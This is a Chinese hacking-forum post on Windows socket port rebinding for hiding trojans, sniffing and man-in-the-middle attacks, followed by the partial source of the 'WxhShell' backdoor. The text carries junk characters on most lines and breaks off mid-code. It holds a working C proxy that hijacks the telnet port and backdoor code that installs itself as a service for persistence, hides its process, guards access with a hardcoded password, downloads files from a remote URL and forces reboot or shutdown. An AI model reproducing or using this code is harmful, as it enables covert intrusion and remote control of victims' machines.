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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g[$4a4X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SaSj9\o  
TeNPuY~WP  
  saddr.sin_family = AF_INET; Aqo90(jffx  
][`%vj9r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M$UZn  
;bRyk#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5]~4 51  
oMHTB!A=2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {3!E8~  
t[o_!fmxZ  
  这意味着什么?意味着可以进行如下的攻击: a6!|#rt  
,)ZI&BL5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r1/9BTPKdJ  
JsHD3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ()e|BFL.  
&gsBbQ+qA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p> g[: ~  
vW4n>h}]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cf>(,rt};  
3@\J#mR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 odWK\e  
P7\?WN$p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z7p!YTA  
8\Bb7*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K/M2L&C  
q![`3m-d.  
  #include ' r/xBj[Z  
  #include .?kq\.rQ  
  #include v n4z C  
  #include    V6Y0#sTU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CD[}|N  
  int main() lRR A2Kql  
  { <nc6 &+  
  WORD wVersionRequested; vwAtX($  
  DWORD ret; u6SQq-)d  
  WSADATA wsaData; 8]Q#P  
  BOOL val; *USG p<iH  
  SOCKADDR_IN saddr; G_<4% HM  
  SOCKADDR_IN scaddr; 1$H<Kjsm  
  int err; 8kT`5`}lB  
  SOCKET s; `IT]ZAem`/  
  SOCKET sc; v UhgM'  
  int caddsize; i!)\m0Wm  
  HANDLE mt; oI-,6G}  
  DWORD tid;   **JBZ\'  
  wVersionRequested = MAKEWORD( 2, 2 ); 2P ^x'I  
  err = WSAStartup( wVersionRequested, &wsaData ); iFnD`l 6)  
  if ( err != 0 ) { 9e Fj+  
  printf("error!WSAStartup failed!\n"); &%m%b5  
  return -1; quRTA"!E  
  } K/K|[=bl  
  saddr.sin_family = AF_INET; nF$HWp&gt  
   :0Z\-7iK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ih-J{1  
2'u%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fZrh_^yH  
  saddr.sin_port = htons(23); LVT:oIQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nJ h)iQu  
  { Xw3j(`w$,  
  printf("error!socket failed!\n"); ,B'fOJ.2  
  return -1; .y<u+)  
  } |}b~YHTs  
  val = TRUE; 7}vI/?r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kpXxg: c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zd/kr  
  { me@)kQ8M  
  printf("error!setsockopt failed!\n"); DTG-R>y^  
  return -1; Jj?HOtaM  
  } O]' 2<;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :W;eW%Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;Y0M]pC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~r~YR=  
iBI->xU[U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cz &3=),G  
  { :$0yp`k  
  ret=GetLastError(); t YxN^VqU  
  printf("error!bind failed!\n"); O_]hbXV0  
  return -1; Ec@cW6g(%  
  } &gKDw!al  
  listen(s,2); qw1W }+~g  
  while(1) #k?.dWZ!  
  { \&b 9  
  caddsize = sizeof(scaddr); p=odyf1hK  
  //接受连接请求 o (4gh1b%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /l_u $"  
  if(sc!=INVALID_SOCKET) -K3d u&j  
  { "$pbK:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R9!U _RH  
  if(mt==NULL) k||dX(gl  
  { V~p01f"J  
  printf("Thread Creat Failed!\n"); ln+.=U6Tm  
  break; *V4%&&{  
  } *<X1M~p$  
  } ',K:.$My  
  CloseHandle(mt); 9 p{n7.  
  } z%#-2&i  
  closesocket(s); lX.-qCV"B  
  WSACleanup(); ,J,Rup">h  
  return 0; NGJst_  
  }   (T%?@'\  
  DWORD WINAPI ClientThread(LPVOID lpParam) eL~3CAV{  
  { {2YqEX-I*  
  SOCKET ss = (SOCKET)lpParam; %}e['d h  
  SOCKET sc; r8?p6E  
  unsigned char buf[4096]; 4.^T~n G  
  SOCKADDR_IN saddr; #:By/9}-  
  long num; *CPpU|  
  DWORD val; tGU~G&  
  DWORD ret; Np%Q-T\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j1A%LS;c_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dNhb vzl(  
  saddr.sin_family = AF_INET; CAC%lp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3&CV!+z  
  saddr.sin_port = htons(23); zjh:jrv~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `a83bF35  
  { T0Xm}i  
  printf("error!socket failed!\n"); ;i\N!T{>  
  return -1; /(*Ucv2i}T  
  } GcDA0%i  
  val = 100; L9N }lH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9cHo~F|ur  
  { Rk7F;2  
  ret = GetLastError(); .{\eco  
  return -1; w^Yo)"6  
  } }X?#"JFX?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {kw% 7}!  
  { ~ \<$H'  
  ret = GetLastError(); _cE_\Ay  
  return -1; 3}!u8,P  
  } "w%:5~u 9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !#:5^":;  
  { ;N?(R\* 8  
  printf("error!socket connect failed!\n"); (WJ)!  
  closesocket(sc); <D3mt Q  
  closesocket(ss); Z|Oq7wzEH  
  return -1; T - _))  
  } 9 :Oz-b  
  while(1) oKsArZG  
  { 3>^]r jFw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2|=hF9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PPH;'!>s"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ch :rAx  
  num = recv(ss,buf,4096,0); Sc/l.]k+  
  if(num>0) u*): D~A  
  send(sc,buf,num,0); W#~7X  
  else if(num==0) kl]MP}wc  
  break; h x&"fe  
  num = recv(sc,buf,4096,0); )v_v 7 ~H&  
  if(num>0) ,}&TZkN{-  
  send(ss,buf,num,0); %4),P(4N  
  else if(num==0) YI ?P@y  
  break; eA86~M?<o  
  } Rx&O}>"E>l  
  closesocket(ss); E r%&y  
  closesocket(sc); Y(bB7tR  
  return 0 ; r'j88)^  
  } 2H}y1bkW  
\fUX_0k9,  
z4Zm%  
========================================================== n0T|U  
S4`X^a}pY  
下边附上一个代码,,WXhSHELL @B (oq1i@  
8T9 s:/%  
========================================================== Bh' fkW3  
@, GL&$Y:W  
#include "stdafx.h" :>JfBJ]|  
P*BRebL:  
#include <stdio.h> n)"JMzjQ<  
#include <string.h> -f&vH_eK  
#include <windows.h> !5(DU~S*@S  
#include <winsock2.h> l[c '%M|N  
#include <winsvc.h> 0t%]z!  
#include <urlmon.h> R|$AcNp  
p|.5;)%|  
#pragma comment (lib, "Ws2_32.lib") m9A%Z bQ^  
#pragma comment (lib, "urlmon.lib") 5RN!"YLI3  
mf$YsvPq*+  
#define MAX_USER   100 // 最大客户端连接数 Mq)]2>"v  
#define BUF_SOCK   200 // sock buffer (87| :{  
#define KEY_BUFF   255 // 输入 buffer %]&$VVVh  
qvSYrnpn  
#define REBOOT     0   // 重启 <+g77NL  
#define SHUTDOWN   1   // 关机 _*6]4\;  
^J#*sn  
#define DEF_PORT   5000 // 监听端口 pT->qQ3;  
S xJ&5q  
#define REG_LEN     16   // 注册表键长度 G~8BND[."  
#define SVC_LEN     80   // NT服务名长度 )g dLb}  
+4_,, I  
// 从dll定义API =Q40]>bpx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \/YRhQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q+\<%$:u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K~vJ/9"|R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e' o2PW  
`6)Qi*Z  
// wxhshell配置信息 qsp.`9!  
struct WSCFG { F-wAQ:  
  int ws_port;         // 监听端口 rhbz|Uq  
  char ws_passstr[REG_LEN]; // 口令 %rG4X  
  int ws_autoins;       // 安装标记, 1=yes 0=no (cOe*>L;  
  char ws_regname[REG_LEN]; // 注册表键名 Pd~=:4  
  char ws_svcname[REG_LEN]; // 服务名 zp;!HP;/=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1*u]v{JJ(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Dbm s(:(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4T(d9y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O*l,&5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 63Zu5b"O/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H]R/=OYBUh  
GNMOHqg4  
}; XQ}J4J~Vm  
rgzra"u)  
// default Wxhshell configuration / S]RP>cQ  
struct WSCFG wscfg={DEF_PORT, ;7z6B|8  
    "xuhuanlingzhe", |T""v_q  
    1,  Fb(@i  
    "Wxhshell", bPxL+ +  
    "Wxhshell", g77M5(ME  
            "WxhShell Service", sQ#e 2  
    "Wrsky Windows CmdShell Service", hz4?ku  
    "Please Input Your Password: ", n8<?<-2  
  1, 9)1Ye  
  "http://www.wrsky.com/wxhshell.exe", j+gxn_E  
  "Wxhshell.exe" =|z:wlOs  
    }; ]##aAh-P4&  
hU""YP ~y  
// 消息定义模块 *uyP+f2O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; # -luE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^qR|lA@=\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4n1g4c-   
char *msg_ws_ext="\n\rExit."; HKrENk  
char *msg_ws_end="\n\rQuit."; "iK= 8  
char *msg_ws_boot="\n\rReboot..."; =4eJ@EVM  
char *msg_ws_poff="\n\rShutdown..."; 6P{^j  
char *msg_ws_down="\n\rSave to "; ?Tc#[B  
E)$>t}$  
char *msg_ws_err="\n\rErr!"; am]M2+,2Ip  
char *msg_ws_ok="\n\rOK!"; 3@I0j/1#k1  
nU>P%|loXx  
char ExeFile[MAX_PATH]; pNb2t/8%%  
int nUser = 0; eZPeyYX  
HANDLE handles[MAX_USER]; )*]A$\Oc[  
int OsIsNt; V+"%BrM  
'%rT]u3U  
SERVICE_STATUS       serviceStatus; p3U)J&]c6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rsfb?${0G  
9-c3@ >v  
// 函数声明 8<C*D".T$  
int Install(void); VhkM{O  
int Uninstall(void); }(t`s  
int DownloadFile(char *sURL, SOCKET wsh); #-;W|ib%z  
int Boot(int flag); [Jt}^  
void HideProc(void); Qjfgxy]  
int GetOsVer(void); rQimQ|+  
int Wxhshell(SOCKET wsl); K|Sq_/#+U  
void TalkWithClient(void *cs); *,$5EN  
int CmdShell(SOCKET sock); cuQ!"iH  
int StartFromService(void); @v lP)"  
int StartWxhshell(LPSTR lpCmdLine); 5j`xSG  
WY!\^| ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n>ui'}L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TF/NA\0c$  
v@Uk% O/  
// 数据结构和表定义 }pMVl  
SERVICE_TABLE_ENTRY DispatchTable[] = &|k=mxox\  
{ .kBkYK8*t  
{wscfg.ws_svcname, NTServiceMain}, ;Sivu-%  
{NULL, NULL} ,-e}X w9  
}; GGuU(sL*  
py'vD3Q  
// 自我安装 Z0L($  
int Install(void) AabQ)23R2  
{ f#!+l1GV  
  char svExeFile[MAX_PATH]; z^QrIl/<c2  
  HKEY key; n?@zp<  
  strcpy(svExeFile,ExeFile); Rs<q^w]  
Qfn:5B]tI  
// 如果是win9x系统,修改注册表设为自启动 #<*.{"T  
if(!OsIsNt) { eG,x\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C(XV YND3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t<Acq07  
  RegCloseKey(key); e3 v^j$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1nAm\/&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rC-E+%y  
  RegCloseKey(key); 2PlhnUQ7  
  return 0; u8zL[] >  
    } ^+P.f[  
  } $ ZI ]  
} zzf@U&x<  
else { E#KZZ lbx  
l}uZxKuYx  
// 如果是NT以上系统,安装为系统服务 ?y-^Fq|h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RTc@`m3 M  
if (schSCManager!=0) 4^W!,@W  
{ |c/=9Bb  
  SC_HANDLE schService = CreateService z{W C w  
  ( q2EDrZ  
  schSCManager, {nKw<F2  
  wscfg.ws_svcname, :|W=2( >  
  wscfg.ws_svcdisp, UT\4Xk<  
  SERVICE_ALL_ACCESS, M1/d7d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OeqKKVuQ  
  SERVICE_AUTO_START, hQ@k|3=Re  
  SERVICE_ERROR_NORMAL, T>B'T3or  
  svExeFile, u}nSdZC  
  NULL, lJdBUoO  
  NULL, n*7^lAa2  
  NULL, O^MI073Q>t  
  NULL, [q?RJmB]  
  NULL c*ueI5i  
  ); 8 MO-QO  
  if (schService!=0) +F)-n2Bi  
  { ?9\D(V  
  CloseServiceHandle(schService); /2? CB\  
  CloseServiceHandle(schSCManager); gE6'A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A r!0GwE+  
  strcat(svExeFile,wscfg.ws_svcname); r'*$'QY-N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w7@`:W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N#ggT9>X  
  RegCloseKey(key); F LWVI4*  
  return 0; gQPw+0w  
    } E]mm^i`|  
  } |cU75 S1  
  CloseServiceHandle(schSCManager); C<D$Y,[w  
} o`iA&  
} gq?7O<  
fd )v{OC  
return 1; f'=u`*(b7  
} WLl8oE< X  
M@xU59$@  
// 自我卸载 Cy[G7A%  
int Uninstall(void) p*b_ "aF1  
{ >%tG[jb  
  HKEY key; |SOLC  
k' st^1T  
if(!OsIsNt) { relt7sK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +.!D>U$)}  
  RegDeleteValue(key,wscfg.ws_regname); F^.A~{&L  
  RegCloseKey(key); fbh,V%t7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LI%dJ*-V  
  RegDeleteValue(key,wscfg.ws_regname); t5+p]7  
  RegCloseKey(key); 01'>[h#_n  
  return 0; MDlH[PJ@i  
  } ]CzK{-W  
} u#Ig!7iUu  
} W0f^!}f(  
else { PLkS-B  
:i<*~0r<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zP,r,ok7  
if (schSCManager!=0) 4k225~GQ:C  
{ \\R}3 >Wc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E]' f&0s  
  if (schService!=0) S~3|1Hw*tN  
  { Rge>20uTl$  
  if(DeleteService(schService)!=0) { Rf!v{\  
  CloseServiceHandle(schService); UH MJ(.Wa-  
  CloseServiceHandle(schSCManager); +VkL?J  
  return 0; ?h[HC"V/2  
  } tczJk1g}  
  CloseServiceHandle(schService); (I$%6JO:  
  } m#'eDO:  
  CloseServiceHandle(schSCManager); UQu6JkbLL  
} :(A&8<}-6  
} &G"s !:  
G!Brt&_'  
return 1; 3Q$ 4`p;  
} (p5q MP]L  
Tdcc<T  
// 从指定url下载文件 gML8lu0)  
int DownloadFile(char *sURL, SOCKET wsh) gxl7j Y  
{ $E@n;0P  
  HRESULT hr; +mWf$+w  
char seps[]= "/"; u ]"fwkL  
char *token; \ivxi<SR  
char *file; )NZH{G  
char myURL[MAX_PATH]; 9295:Y| w1  
char myFILE[MAX_PATH]; #uU(G\^T  
tpGT~Y(  
strcpy(myURL,sURL); S($/Ov  
  token=strtok(myURL,seps); %C/p+Tg  
  while(token!=NULL) #%[;v K  
  { W4o8]&A  
    file=token; \x-2qlZ  
  token=strtok(NULL,seps); _z#" BN  
  } %'1iT!g8  
0''p29  
GetCurrentDirectory(MAX_PATH,myFILE);  2 q4p-  
strcat(myFILE, "\\"); ~LuGfPO^  
strcat(myFILE, file); 6=/sEzS'  
  send(wsh,myFILE,strlen(myFILE),0); f- XUto  
send(wsh,"...",3,0); &<;T$Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vqN/crJ@  
  if(hr==S_OK) DP @1to@  
return 0; HF FG4'  
else DT`HS/~fH  
return 1; ;}SGJ7  
M*0^<e~]F  
} q? ">  
bh@CtnO  
// 系统电源模块 9I/l+IS"X  
int Boot(int flag) PRU&y/zZmG  
{ -W9DH^EL<  
  HANDLE hToken; Nud =K'P=  
  TOKEN_PRIVILEGES tkp; 1\fx57a\  
Sh(ys*y>  
  if(OsIsNt) { }>6e-]MHfR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); He=C\"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J:Fq ip  
    tkp.PrivilegeCount = 1; qGA|.I9,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f5*qlQJFz\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZR\N~.  
if(flag==REBOOT) { C7dq=(p&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q#3}AO  
  return 0; @4y?XL(n  
} ,cNe-KJk  
else { NVx>^5QV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |J!mM<*K  
  return 0; $sY'=S  
} h\[@J rDa  
  } `o{ Z;-OF  
  else { -| FHv+  
if(flag==REBOOT) { JP Zp*5c6A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iHhdoY[]  
  return 0; nook/7]  
} :k_&Zd j,B  
else { i(|u g_^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a(vt"MQ_  
  return 0; 2 H%lN`  
} _O}m0c   
} GM2}]9  
{ YQS fk  
return 1; r2SZC`Z}-M  
} {Phq39g  
R Th=x.  
// win9x进程隐藏模块 O8 .iP+  
void HideProc(void) v's1 &%sM  
{ D;P=\i>9-  
/''=V.-N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f!kZyD7  
  if ( hKernel != NULL ) )l`Ks  
  { 4m< ]qw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  skl3/!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q7lC}'2fu  
    FreeLibrary(hKernel); _G'ki.[S7  
  } 82@^vX  
QwX81*nx  
return; Zy+ERaF|]  
} EK4%4<"  
{3  
// 获取操作系统版本 S%MDQTM  
int GetOsVer(void) HVus\s\&y%  
{ ZRf9'UwS  
  OSVERSIONINFO winfo; u~OlJ1V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T!,5dt8L  
  GetVersionEx(&winfo); Bg),Q8\I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _]*YSeh=  
  return 1;  lPZ>#  
  else i6HRG\9nU  
  return 0; ow \EL  
} e$s&B!qJ  
XnP?hw%  
// 客户端句柄模块 Z5v_- +K  
int Wxhshell(SOCKET wsl) r\"R?P$y|  
{ 1*p6UR&  
  SOCKET wsh; = z mxki  
  struct sockaddr_in client; >fYcr#i0[  
  DWORD myID; (H uvo9  
]<<,{IQ  
  while(nUser<MAX_USER) v'?Smd1v /  
{ <5G(Y#s/?  
  int nSize=sizeof(client); )f$4: Pq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L6CI9C;-b  
  if(wsh==INVALID_SOCKET) return 1; bIGcszWr  
-m}'I8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?'~u)O(n  
if(handles[nUser]==0) 68P'<|u?  
  closesocket(wsh); (qFZF7(Xa  
else Lan|(!aW  
  nUser++; t)j$lmQn  
  } P-B5-Nz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R|*0_!O:[  
E@C.}37R  
  return 0; :oy2mi;  
} {xg=Ym)  
*KNfPh#wi}  
// 关闭 socket 9~`#aQG T  
void CloseIt(SOCKET wsh) xwo *kFg  
{ wKi#5k2  
closesocket(wsh); iN8[^,2H|  
nUser--; ZY8.p  
ExitThread(0); )!0}<_2  
} I;rW!Hb  
Evj%$7H1L1  
// 客户端请求句柄 SAq .W"ri  
void TalkWithClient(void *cs) 8TpYt)]S  
{ ((`\i=-o5  
Z&>Cdgt*  
  SOCKET wsh=(SOCKET)cs; ?u#s?$Y?  
  char pwd[SVC_LEN]; K9ia|2f  
  char cmd[KEY_BUFF]; |9XoRGgXU  
char chr[1]; v_Vw!u  
int i,j; e'uC:O.u  
]*=!lfrV  
  while (nUser < MAX_USER) { KH)-=IJ8  
?ja%*0 R  
if(wscfg.ws_passstr) { o*A, 6y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E] g Lwg9K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B Evt{q4  
  //ZeroMemory(pwd,KEY_BUFF); Njg87tKB  
      i=0; K/B$1+O  
  while(i<SVC_LEN) { [_%u5sc-y  
Iq%<E:+GL  
  // 设置超时 $yi:0t8t  
  fd_set FdRead; G0!6rDu2,  
  struct timeval TimeOut; Jf4` 2KN\  
  FD_ZERO(&FdRead); DNZ,rL:h  
  FD_SET(wsh,&FdRead); b4wT3  
  TimeOut.tv_sec=8; 445JOP  
  TimeOut.tv_usec=0; M-].l3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :q3w;B~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3:Nc`tM_  
3PvxU|*F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U;iCH  
  pwd=chr[0]; I`oJOLV  
  if(chr[0]==0xd || chr[0]==0xa) { d1_kw A2y  
  pwd=0; (b~l.@xh  
  break; ??aO3Vm{  
  } QlvP[Jtr  
  i++; BPv+gx(>k  
    } Pqx?0 f)  
jY\z+lW6A  
  // 如果是非法用户,关闭 socket >{ {ds--  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t0fgG/f'  
} @D-I@Cyl  
q}p$S2`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _O}U4aGMTC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w_>\Yd[  
oU,8?( }'~  
while(1) { 9O&m7]3  
z*.G0DFw  
  ZeroMemory(cmd,KEY_BUFF); L/Kb\\f  
, poc!n//  
      // 自动支持客户端 telnet标准   ]#4kqj}  
  j=0; q !9;JrX  
  while(j<KEY_BUFF) { Sr Nc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yCR8c,'8  
  cmd[j]=chr[0]; C.ynOo,W  
  if(chr[0]==0xa || chr[0]==0xd) { j5R0e}/r  
  cmd[j]=0; - q9m@!L  
  break; I}u\ov_Su  
  } U}:+Hz9  
  j++; i 1w ]j  
    } #Tzs9Bkaca  
0kCo0{+n  
  // 下载文件 c;/vzIJj  
  if(strstr(cmd,"http://")) { VF11eZ"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Ia'Yr  
  if(DownloadFile(cmd,wsh)) ,<+:xl   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); } l+_KA  
  else |LJv*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @TW:6v`  
  } e;~(7/1  
  else { c.1gQy$}|  
JE{ cZ<NNH  
    switch(cmd[0]) { 2hNl_P~z1u  
  jFg19C{=X  
  // 帮助 x`+M#A()/  
  case '?': { 5"40{3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k(tB+k!vH\  
    break; !21G $ [H  
  } (rJ-S"^u  
  // 安装 3}g>/F ~  
  case 'i': { 6d8)]  
    if(Install()) L"vk ^>E6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 Q7MAP M  
    else z-K};l9y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L$Av9X\  
    break; QZ(O2!Mg  
    } ~sn3_6{  
  // 卸载 NG3:=  
  case 'r': { >A]l|#Rz  
    if(Uninstall()) Uu+ibVM$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!6r&<s=E  
    else SJ22  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "qC3%9e  
    break; %4rlB$x  
    } xe6V7Wi/Tt  
  // 显示 wxhshell 所在路径 x])j]k  
  case 'p': { uL7}JQ,  
    char svExeFile[MAX_PATH]; gA_oJW4_  
    strcpy(svExeFile,"\n\r"); -">Tvi4  
      strcat(svExeFile,ExeFile); n%\\1  
        send(wsh,svExeFile,strlen(svExeFile),0); K!(WcoA&2i  
    break; C$q-WoTM(  
    } E$8-8[  
  // 重启 `}P9[HP  
  case 'b': { 27[e0 j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d< XY"Y%  
    if(Boot(REBOOT)) .$d:c61X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +KExK2=  
    else { `lm'_~=`&  
    closesocket(wsh); Y:+:>[F  
    ExitThread(0); %r6_['T  
    } aBQ--Sz  
    break; G+sB/l"  
    } ~7j-OWz9  
  // 关机 o6 NmDv5  
  case 'd': { N1g;e?T ':  
